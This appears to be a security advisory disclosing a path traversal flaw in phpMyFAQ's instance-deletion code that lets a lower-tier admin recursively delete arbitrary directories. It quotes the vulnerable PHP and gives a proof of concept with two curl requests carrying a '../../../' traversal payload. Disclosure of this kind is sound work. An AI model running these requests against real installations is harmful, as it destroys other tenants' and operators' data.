phpMyFAQ: Path Traversal in Client::deleteClientFolder enables arbitrary directory deletion by non-super-admin admins
Summary
Client::deleteClientFolder() in phpmyfaq/src/phpMyFAQ/Instance/Client.php:583 takes a URL from the caller, strips the https:// prefix, and passes the remainder to Filesystem::deleteDirectory() relative to the multisite clientFolder. No path-traversal validation runs. An admin with the INSTANCE_DELETE permission (a role short of SUPER_ADMIN) submits https://../../../<path> as the client URL and the server recursively deletes arbitrary directories under the web user's rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier.
Details
phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591:
```php
public function deleteClientFolder(string $sourceUrl): bool
{
if (!$this->isMultiSiteWriteable()) {
return false;
}
$sourcePath = str_replace(search: 'https://', replace: '', subject: $sourceUrl);
return $this->filesystem->deleteDirectory($this->clientFolder . $sourcePath);
}
```
str_replace strips the scheme but does nothing about ../ segments. The concatenation $this->clientFolder . $sourcePath directly feeds the filesystem call, which traverses above clientFolder without complaint.
Callers feed the URL from the HTTP request body:
phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184:
```php
if (1 !== $instanceId && $client->deleteClientFolder($clientData->url) && $client->delete($instanceId)) {
```
$clientData->url comes from json_decode($request->getContent()). The route is admin.api.instance.delete, gated by INSTANCE_DELETE. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to deleteClientFolder().
InstanceController.php:144 (edit path) and Controller/Administration/InstanceController.php:151 (form path) both reach the same sink through different entry points.
Precedent
GHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in MediaBrowserController::index(): an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project's INSTANCE_ADD / INSTANCE_DELETE permission is a granular admin right, not SUPER_ADMIN, so a lower-tier admin can reach the sink.
Proof of Concept
Prerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with INSTANCE_ADD and INSTANCE_DELETE rights, no SUPER_ADMIN flag.
Step 1: Alice authenticates and retrieves the CSRF token for the instance admin page.
Step 2: Alice creates an instance whose url encodes a traversal payload. The create path at InstanceController.php:144 already concatenates to the clientFolder through the same deleteClientFolder('https://' . $hostname) call:
```bash
curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance" \
-H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \
-d '{"url":"https://../../../tmp/pmf-poc/","instance":"poc","comment":"poc","email":"a@b","admin":"alice","password":"poc1234!"}'
```
Step 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands clientData->url directly to deleteClientFolder:
```bash
curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance/2" \
-H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \
-d '{"url":"https://../../../tmp/pmf-poc/"}'
```
The server computes $sourcePath = '../../../tmp/pmf-poc/', concatenates to <clientFolder>/, and recursively deletes the resulting path.
Live verification was not attempted against the test instance because the INSTANCE_DELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see InstanceController.php:184. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope.
Impact
Any phpMyFAQ admin holding INSTANCE_ADD + INSTANCE_DELETE but not SUPER_ADMIN can delete arbitrary directories writable by the PHP process. Outcomes:
- Destroy other tenants' data on a shared multisite deployment by traversing above the
clientFolder into peer directories. - Delete phpMyFAQ's own
content/, config/, or cache directories and lock the install out. - On a hosted deployment, overwrite or delete files anywhere under the web user's reach, including customer uploads outside phpMyFAQ.
phpMyFAQ's permission model gives INSTANCE_ADD / INSTANCE_DELETE as a role that a hosting operator may delegate to a subordinate admin without granting SUPER_ADMIN. That delegation is now a direct path-traversal-delete primitive.
Re
